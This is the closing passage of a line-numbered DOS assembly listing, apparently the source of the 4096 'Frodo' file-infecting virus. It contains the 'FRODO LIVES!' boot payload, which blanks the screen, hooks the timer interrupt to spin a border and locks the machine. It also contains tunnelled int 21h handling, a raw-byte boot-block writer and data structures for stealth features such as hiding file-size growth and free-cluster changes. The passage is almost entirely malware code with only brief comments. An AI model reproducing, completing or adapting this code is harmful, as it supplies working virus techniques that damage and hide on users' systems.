  1579.                 mov     es,ax
  1580.                 mov     ax,cs:ownerfirstMCB     ; get DOS PSP ID
  1581.                 mov     es:[1],ax               ; make vir ID = DOS PSP ID
  1582.                 mov     ax,offset exitallocate_memory
  1583.                 push    ax
  1584.                 retf
  1585.  
  1586. exitallocate_memory:
  1587.                 retn
  1588.  
  1589. get_device_info:
  1590.                 mov     byte ptr cs:hide_size,2
  1591.                 jmp     exitotherint21
  1592.  
  1593. callint21: ; call original int 21h handler (tunnelled)
  1594.                 pushf
  1595.                 call    dword ptr cs:oldint21
  1596.                 retn
  1597.  
  1598. bootblock:
  1599.                 cli
  1600.                 xor     ax,ax                   ; set new stack just below
  1601.                 mov     ss,ax                   ; start of load area for
  1602.                 mov     sp,7C00h                ; boot block
  1603.                 jmp     short enter_bootblock
  1604. borderchars     db      '███ '
  1605.  
  1606. FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
  1607.                 db      11111001b,11100000b,11100011b,11000011b,10000000b
  1608.                 db      10000001b,00010001b,00010010b,00100100b,01000000b
  1609.                 db      10000001b,00010001b,00010010b,00100100b,01000000b
  1610.                 db      11110001b,11110001b,00010010b,00100100b,01000000b
  1611.                 db      10000001b,00100001b,00010010b,00100100b,01000000b
  1612.                 db      10000001b,00010000b,11100011b,11000011b,10000000b
  1613.                 db      00000000b,00000000b,00000000b,00000000b,00000000b
  1614.                 db      00000000b,00000000b,00000000b,00000000b,00000000b
  1615.                 db      10000010b,01000100b,11111000b,01110000b,11000000b
  1616.                 db      10000010b,01000100b,10000000b,10001000b,11000000b
  1617.                 db      10000010b,01000100b,10000000b,10000000b,11000000b
  1618.                 db      10000010b,01000100b,11110000b,01110000b,11000000b
  1619.                 db      10000010b,00101000b,10000000b,00001000b,11000000b
  1620.                 db      10000010b,00101000b,10000000b,10001000b,00000000b
  1621.                 db      11110010b,00010000b,11111000b,01110000b,11000000b
  1622. enter_bootblock:
  1623.                 push    cs
  1624.                 pop     ds
  1625.                 mov     dx,0B000h               ; get video page in bh
  1626.                 mov     ah,0Fh                  ; get video mode in al
  1627.                 int     10h                     ; get columns in ah
  1628.  
  1629.                 cmp     al,7                    ; check if colour
  1630.                 je      monochrome
  1631.                 mov     dx,0B800h               ; colour segment
  1632. monochrome:
  1633.                 mov     es,dx                   ; es->video segment
  1634.                 cld
  1635.                 xor     di,di
  1636.                 mov     cx,25*80                ; entire screen
  1637.                 mov     ax,720h                 ; ' ', normal attribute
  1638.                 rep     stosw                   ; clear the screen
  1639.                 mov     si,7C00h+FRODO_LIVES-bootblock
  1640.                 mov     bx,2AEh
  1641. morelinestodisplay:
  1642.                 mov     bp,5
  1643.                 mov     di,bx
  1644. displaymorebackgroundontheline:
  1645.                 lodsb                           ; get background pattern
  1646.                 mov     dh,al
  1647.                 mov     cx,8
  1648.  
  1649. displayinitialbackground:
  1650.                 mov     ax,720h
  1651.                 shl     dx,1
  1652.                 jnc     spacechar
  1653.                 mov     al,'█'
  1654. spacechar:
  1655.                 stosw
  1656.                 loop    displayinitialbackground
  1657.  
  1658.                 dec     bp
  1659.                 jnz     displaymorebackgroundontheline
  1660.                 add     bx,80*2                 ; go to next line
  1661.                 cmp     si,7C00h+enter_bootblock-bootblock
  1662.                 jb      morelinestodisplay
  1663.                 mov     ah,1                    ; set cursor mode to cx
  1664.                 int     10h
  1665.  
  1666.                 mov     al,8                    ; set new int 8 handler
  1667.                 mov     dx,7C00h+int8-bootblock ; to spin border
  1668.                 call    setvect
  1669.                 mov     ax,7FEh                 ; enable timer interrupts only
  1670.                 out     21h,al
  1671.  
  1672.                 sti
  1673.                 xor     bx,bx
  1674.                 mov     cx,1
  1675.                 jmp     short $                 ; loop forever while
  1676.                                                 ; spinning the border
  1677.  
  1678. int8:                                           ; the timer interrupt spins
  1679.                 dec     cx                      ; the border
  1680.                 jnz     endint8
  1681.                 xor     di,di
  1682.                 inc     bx
  1683.                 call    spin_border
  1684.                 call    spin_border
  1685.                 mov     cl,4                    ; wait 4 more ticks until
  1686. endint8:                                        ; next update
  1687.                 mov     al,20h                  ; Signal end of interrupt
  1688.                 out     20h,al
  1689.                 iret
  1690.  
  1691. spin_border:
  1692.                 mov     cx,28h                  ; do 40 characters across
  1693.  
  1694. dohorizontal:
  1695.                 call    lookup_border_char
  1696.                 stosw
  1697.                 stosw
  1698.                 loop    dohorizontal
  1699. patch2:
  1700.                 add     di,9Eh                  ; go to next line
  1701.                 mov     cx,17h                  ; do for next 23 lines
  1702.  
  1703. dovertical:                                     ; handle vertical borders
  1704.                 call    lookup_border_char      ; get border character
  1705.                 stosw                           ; print it on screen
  1706. patch3:
  1707.                 add     di,9Eh                  ; go to next line
  1708.                 loop    dovertical
  1709. patch1:
  1710.                 std
  1711.         ; this code handles the other half of the border
  1712.                 xor     byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
  1713.                 xor     byte ptr ds:[7C00h+patch2-bootblock+1],28h
  1714.                 xor     byte ptr ds:[7C00h+patch3-bootblock+1],28h
  1715.                 retn
  1716.  
  1717.  
  1718. lookup_border_char:
  1719.                 and     bx,3                    ; find corresponding border
  1720.                 mov     al,ds:[bx+7C00h+borderchars-bootblock]
  1721.                 inc     bx                      ; character
  1722.                 retn
  1723.  
  1724.  
  1725. setvect:
  1726.                 push    es
  1727.                 push    bx
  1728.                 xor     bx,bx
  1729.                 mov     es,bx
  1730.                 mov     bl,al                   ; int # to bx
  1731.                 shl     bx,1                    ; int # * 4 = offset in
  1732.                 shl     bx,1                    ; interrupt table
  1733.                 mov     es:[bx],dx              ; set the vector in the
  1734.                 mov     es:[bx+2],ds            ; interrupt table
  1735.                 pop     bx
  1736.                 pop     es
  1737.                 retn
  1738.  
  1739.  
  1740. writebootblock: ; this is an unfinished subroutine; it doesn't work properly
  1741.                 call    replaceint13and24
  1742.                 mov     dl,80h
  1743.                 db      0E8h, 08h, 00h, 32h,0D2h,0E8h
  1744.                 db       03h, 01h, 00h, 9Ah, 0Eh, 32h
  1745.                 db       08h, 70h, 00h, 33h, 0Eh, 2Eh
  1746.                 db       03h, 6Ch, 15h, 03h, 00h, 26h
  1747.                 db       00h, 00h, 00h, 21h, 00h, 50h
  1748.                 db       12h, 65h, 14h, 82h, 08h, 00h
  1749.                 db       0Ch, 9Ah, 0Eh, 56h, 07h, 70h
  1750.                 db       00h, 33h, 0Eh, 2Eh, 03h, 6Ch
  1751.                 db       15h,0E2h, 0Ch, 1Eh, 93h, 00h
  1752.                 db       00h,0E2h, 0Ch, 50h
  1753.  
  1754.                 org 1200h
  1755. readbuffer      dw      ? ; beginning of the read buffer
  1756. lengthMOD512    dw      ? ; EXE header item - length of image modulo 512
  1757. lengthinpages   dw      ? ; EXE header item - length of image in pages
  1758. relocationitems dw      ? ; EXE header item - # relocation items
  1759. headersize      dw      ? ; EXE header item - header size in paragraphs
  1760. minmemory       dw      ? ; EXE header item - minimum memory allocation
  1761. maxmemory       dw      ? ; EXE header item - maximum memory allocation
  1762. initialSS       dw      ? ; EXE header item - initial SS value
  1763. initialSP       dw      ? ; EXE header item - initial SP value
  1764. wordchecksum    dw      ? ; EXE header item - checksum value
  1765. initialIP       dw      ? ; EXE header item - initial IP value
  1766. initialCS       dw      ? ; EXE header item - initial CS value
  1767.                 db      12 dup (?) ; rest of header - unused
  1768. parmblock       dd      ? ; address of parameter block
  1769. filedrive       db      ? ; 0 = default drive
  1770. filetime        dw      ? ; saved file time
  1771. filedate        dw      ? ; saved file date
  1772. origints        dd      ? ; temporary scratch buffer for interrupt vectors
  1773. oldint1         dd      ? ; original interrupt 1 vector
  1774. oldint21        dd      ? ; original interrupt 21h vector
  1775. oldint13        dd      ? ; original interrupt 13h vector
  1776. oldint24        dd      ? ; original interrupt 24h vector
  1777. int13tempCSIP   dd      ? ; stores calling CS:IP of int 13h
  1778. carrierPSP      dw      ? ; carrier file PSP segment
  1779. DOSsegment      dw      ? ; segment of DOS list of lists
  1780. ownerfirstMCB   dw      ? ; owner of the first MCB
  1781. jmpfarptr       db      ? ; 0eah, jmp far ptr
  1782. int21store      dd      ? ; temporary storage for other 4 bytes
  1783.                           ; and for pointer to virus int 21h
  1784. tracemode       db      ? ; trace mode
  1785. instructionstotrace  db ? ; number of instructions to trace
  1786. handletable     dw      28h dup (?) ; array of handles
  1787. handlesleft     db      ? ; entries left in table
  1788. currentPSP      dw      ? ; storage for the current PSP segment
  1789. curfileposlow   dw      ? ; current file pointer location, low word
  1790. curfileposhigh  dw      ? ; current file pointer location, high word
  1791. filesizelow     dw      ? ; current file size, low word
  1792. filesizehigh    dw      ? ; current file size, high word
  1793. savebuffer      dw      ? ; storage for handle read, etc.
  1794. savelength      dw      ? ; functions
  1795. return_code     dw      ? ; returned in AX on exit of int 21h
  1796. int21flags      dw      ? ; storage of int 21h return flags register
  1797. tempFCB         db      25h dup (?) ; copy of the FCB
  1798. errorflag       db      ? ; 0 if no error, 1 if error
  1799. int13flags      dw      ? ; storage of int 13h return flags register
  1800. savess          dw      ? ; temporary storage of stack segment
  1801. savesp          dw      ? ; and stack pointer
  1802. BREAKsave       db      ? ; current BREAK state
  1803. checkres        db      ? ; already installed flag
  1804. initialax       dw      ? ; AX upon entry to carrier
  1805. saveIMR         db      ? ; storage for interrupt mask register
  1806. saveoffset      dw      ? ; temp storage of CS:IP of
  1807. savesegment     dw      ? ; caller to int 21h
  1808. pushpopalltempstore  dw ? ; push/popall caller address
  1809. numfreeclusters dw      ? ; total free clusters
  1810. DOSversion      db      ? ; current DOS version
  1811. hideclustercountchange db ? ; flag of whether to hide free cluster count
  1812. hide_size       db      ? ; hide filesize increase if equal to 0
  1813. copyparmblock   db      0eh dup (?) ; copy of the parameter block
  1814. origsp          dw      ? ; temporary storage of stack pointer
  1815. origss          dw      ? ; and stack segment
  1816. origcsip        dd      ? ; temporary storage of caller CS:IP
  1817. copyfilename    db      50h dup (?) ; copy of filename
  1818. storesp         dw      ? ; temporary storage of stack pointer
  1819. storess         dw      ? ; and stack segment
  1820. stackptr        dw      ? ; register storage stack pointer
  1821. storecall       dw      ? ; temporary storage of function offset
  1822.  
  1823. topstack = 1600h
  1824.  
  1825. _4096           ends
  1826.                 end
  1827.  
  1828.  
  1829.